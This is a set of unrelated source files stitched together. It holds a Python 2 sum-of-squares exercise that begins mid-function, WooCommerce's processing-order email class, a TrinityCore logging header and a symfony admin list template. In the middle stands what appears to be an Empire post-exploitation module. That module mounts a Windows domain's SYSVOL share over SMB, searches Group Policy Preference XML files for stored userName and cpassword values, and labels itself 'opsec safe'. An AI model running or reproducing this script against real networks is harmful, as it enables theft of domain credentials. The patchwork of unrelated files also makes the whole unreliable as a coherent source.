and does it again. for num in xrange(0, b + 1): #Same as typing total = total + (num**2) # (num**2) Is num squared. total += (num**2) return total def sum_square(b): total = 0 for num in xrange(0, b + 1): total += num return total**2 def difference(a, b): total = 0 # If they are not on the proper side of the - (minus) sign then the total will be # negative. total = sum_square(a) - square_sum(b) return total print square_sum(10), "\n" print sum_square(10), "\n" print difference(10, 10), "\n"
<?php /** * Class WC_Email_Customer_Processing_Order file. * * @package WooCommerce\Emails */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } if ( ! class_exists( 'WC_Email_Customer_Processing_Order', false ) ) : /** * Customer Processing Order Email. * * An email sent to the customer when a new order is paid for. * * @class WC_Email_Customer_Processing_Order * @version 3.5.0 * @package WooCommerce/Classes/Emails * @extends WC_Email */ class WC_Email_Customer_Processing_Order extends WC_Email { /** * Constructor. */ public function __construct() { $this->id = 'customer_processing_order'; $this->customer_email = true; $this->title = __( 'Processing order', 'woocommerce' ); $this->description = __( 'This is an order notification sent to customers containing order details after payment.', 'woocommerce' ); $this->template_html = 'emails/customer-processing-order.php'; $this->template_plain = 'emails/plain/customer-processing-order.php'; $this->placeholders = array( '{order_date}' => '', '{order_number}' => '', ); // Triggers for this email. add_action( 'woocommerce_order_status_cancelled_to_processing_notification', array( $this, 'trigger' ), 10, 2 ); add_action( 'woocommerce_order_status_failed_to_processing_notification', array( $this, 'trigger' ), 10, 2 ); add_action( 'woocommerce_order_status_on-hold_to_processing_notification', array( $this, 'trigger' ), 10, 2 ); add_action( 'woocommerce_order_status_pending_to_processing_notification', array( $this, 'trigger' ), 10, 2 ); // Call parent constructor. parent::__construct(); } /** * Get email subject. * * @since 3.1.0 * @return string */ public function get_default_subject() { return __( 'Your {site_title} order has been received!', 'woocommerce' ); } /** * Get email heading. * * @since 3.1.0 * @return string */ public function get_default_heading() { return __( 'Thank you for your order', 'woocommerce' ); } /** * Trigger the sending of this email. * * @param int $order_id The order ID. * @param WC_Order|false $order Order object. */ public function trigger( $order_id, $order = false ) { $this->setup_locale(); if ( $order_id && ! is_a( $order, 'WC_Order' ) ) { $order = wc_get_order( $order_id ); } if ( is_a( $order, 'WC_Order' ) ) { $this->object = $order; $this->recipient = $this->object->get_billing_email(); $this->placeholders['{order_date}'] = wc_format_datetime( $this->object->get_date_created() ); $this->placeholders['{order_number}'] = $this->object->get_order_number(); } if ( $this->is_enabled() && $this->get_recipient() ) { $this->send( $this->get_recipient(), $this->get_subject(), $this->get_content(), $this->get_headers(), $this->get_attachments() ); } $this->restore_locale(); } /** * Get content html. * * @return string */ public function get_content_html() { return wc_get_template_html( $this->template_html, array( 'order' => $this->object, 'email_heading' => $this->get_heading(), 'additional_content' => $this->get_additional_content(), 'sent_to_admin' => false, 'plain_text' => false, 'email' => $this, ) ); } /** * Get content plain. * * @return string */ public function get_content_plain() { return wc_get_template_html( $this->template_plain, array( 'order' => $this->object, 'email_heading' => $this->get_heading(), 'additional_content' => $this->get_additional_content(), 'sent_to_admin' => false, 'plain_text' => true, 'email' => $this, ) ); } /** * Default content to show below main email content. * * @since 3.7.0 * @return string */ public function get_default_additional_content() { return __( 'Thanks for using {site_url}!', 'woocommerce' ); } } endif; return new WC_Email_Customer_Processing_Order();
class Module: def __init__(self, mainMenu, params=[]): # metadata info about the module, not modified during runtime self.info = { # name for the module that will appear in module menus 'Name': 'Get Group Policy Preferences', # list of one or more authors for the module 'Author': ['@424f424f'], # more verbose multi-line description of the module 'Description': 'This module will attempt to pull group policy preference passwords from SYSVOL', # True if the module needs to run in the background 'Background' : False, # File extension to save the file as 'OutputExtension' : "", # if the module needs administrative privileges 'NeedsAdmin' : False, # True if the method doesn't touch disk/is reasonably opsec safe 'OpsecSafe' : True, # the module language 'Language' : 'python', # the minimum language version needed 'MinLanguageVersion' : '2.6', # list of any references/other comments 'Comments': [''] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : 'Agent to run on.', 'Required' : True, 'Value' : '' }, 'LDAPAddress' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : 'LDAP IP/Hostname', 'Required' : True, 'Value' : '' }, 'BindDN' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : '[email protected]', 'Required' : True, 'Value' : '' }, 'password' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : 'Password to connect to LDAP', 'Required' : False, 'Value' : '' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu # During instantiation, any settable option parameters # are passed as an object set to the module and the # options dictionary is automatically set. This is mostly # in case options are passed on the command line if params: for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self): LDAPAddress = self.options['LDAPAddress']['Value'] BindDN = self.options['BindDN']['Value'] password = self.options['password']['Value'] # the Python script itself, with the command to invoke # for execution appended to the end. Scripts should output # everything to the pipeline for proper parsing. # # the script should be stripped of comments, with a link to any # original reference script included in the comments. script = """ import sys, os, subprocess, re BindDN = "%s" LDAPAddress = "%s" password = "%s" password.replace('!','%%21') password.replace('#','%%23') password.replace('$','%%24') regex = re.compile('.+@([^.]+)\..+') global tld match = re.match(regex, BindDN) tld = match.group(1) global ext global name name = BindDN.split('@')[0] ext = BindDN.split('.')[1] cmd = \"""ldapsearch -x -h {} -b "dc={},dc={}" -D {} -w {} "(&(objectcategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" ""\".format(LDAPAddress, tld, ext, BindDN, password) output = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) output2 = subprocess.Popen(["grep", "name:"],stdin=output.stdout, stdout=subprocess.PIPE,universal_newlines=True) output.stdout.close() out,err = output2.communicate() print subprocess.Popen('mkdir /Volumes/sysvol', shell=True, stdout=subprocess.PIPE).stdout.read() cmd = \"""mount_smbfs //'{};{}:{}'@{}/SYSVOL /Volumes/sysvol""\".format(ext,name,password,LDAPAddress) print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read() print "Searching for Passwords...This may take some time" xmls = subprocess.Popen('find /Volumes/sysvol -name *.xml', shell=True, stdout=subprocess.PIPE).stdout.read() cmd1 = \"""cat {}""\".format(xmls) result = subprocess.Popen(cmd1, shell=True, stdout=subprocess.PIPE).stdout.read() print "" for usermatch in re.finditer(r'userName="(.*?)"|newName="(.*?)"|cpassword="(.*?)"', result, re.DOTALL): print usermatch.group(0) print "" print subprocess.Popen('diskutil unmount force /Volumes/sysvol/', shell=True, stdout=subprocess.PIPE).stdout.read() print "" print "Finished" """ % (BindDN, LDAPAddress, password) return script
/* * Copyright (C) 2008-2014 TrinityCore <http://www.trinitycore.org/> * Copyright (C) 2011-2015 ArkCORE <http://www.arkania.net/> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 2 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along * with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef LOGWORKER_H #define LOGWORKER_H #include "LogOperation.h" #include <ace/Task.h> #include <ace/Activation_Queue.h> class LogWorker: protected ACE_Task_Base { public: LogWorker(); ~LogWorker(); typedef ACE_Message_Queue_Ex<LogOperation, ACE_MT_SYNCH> LogMessageQueueType; enum { HIGH_WATERMARK = 8 * 1024 * 1024, LOW_WATERMARK = 8 * 1024 * 1024 }; int enqueue(LogOperation *op); private: virtual int svc(); LogMessageQueueType m_queue; }; #endif
<table cellspacing="0" class="sf_admin_list"> <thead> <tr> [?php include_partial('list_th_<?php echo $this->getParameterValue('list.layout', 'tabular') ?>') ?] <?php if ($this->getParameterValue('list.object_actions')): ?> <th id="sf_admin_list_th_sf_actions">[?php echo __('Actions') ?]</th> <?php endif; ?> </tr> </thead> <tbody> [?php $i = 1; foreach ($pager->getResults() as $<?php echo $this->getSingularName() ?>): $odd = fmod(++$i, 2) ?] <tr class="sf_admin_row_[?php echo $odd ?]"> [?php include_partial('list_td_<?php echo $this->getParameterValue('list.layout', 'tabular') ?>', array('<?php echo $this->getSingularName() ?>' => $<?php echo $this->getSingularName() ?>)) ?] [?php include_partial('list_td_actions', array('<?php echo $this->getSingularName() ?>' => $<?php echo $this->getSingularName() ?>)) ?] </tr> [?php endforeach; ?] </tbody> <tfoot> <tr><th colspan="<?php echo $this->getParameterValue('list.object_actions') ? count($this->getColumns('list.display')) + 1 : count($this->getColumns('list.display')) ?>"> <div class="float-right"> [?php if ($pager->haveToPaginate()): ?] [?php echo link_to(image_tag(sfConfig::get('sf_admin_web_dir').'/images/first.png', array('align' => 'absmiddle', 'alt' => __('First'), 'title' => __('First'))), 'auto<?php echo $this->getModuleName() ?>/list?page=1') ?] [?php echo link_to(image_tag(sfConfig::get('sf_admin_web_dir').'/images/previous.png', array('align' => 'absmiddle', 'alt' => __('Previous'), 'title' => __('Previous'))), 'auto<?php echo $this->getModuleName() ?>/list?page='.$pager->getPreviousPage()) ?] [?php foreach ($pager->getLinks() as $page): ?] [?php echo link_to_unless($page == $pager->getPage(), $page, '<?php echo $this->getModuleName() ?>/list?page='.$page) ?] [?php endforeach; ?] [?php echo link_to(image_tag(sfConfig::get('sf_admin_web_dir').'/images/next.png', array('align' => 'absmiddle', 'alt' => __('Next'), 'title' => __('Next'))), 'auto<?php echo $this->getModuleName() ?>/list?page='.$pager->getNextPage()) ?] [?php echo link_to(image_tag(sfConfig::get('sf_admin_web_dir').'/images/last.png', array('align' => 'absmiddle', 'alt' => __('Last'), 'title' => __('Last'))), 'auto<?php echo $this->getModuleName() ?>/list?page='.$pager->getLastPage()) ?] [?php endif; ?] </div> [?php echo format_number_choice('[0] no result|[1] 1 result|(1,+Inf] %1% results', array('%1%' => $pager->getNbResults()), $pager->getNbResults()) ?] </th></tr> </tfoot> </table>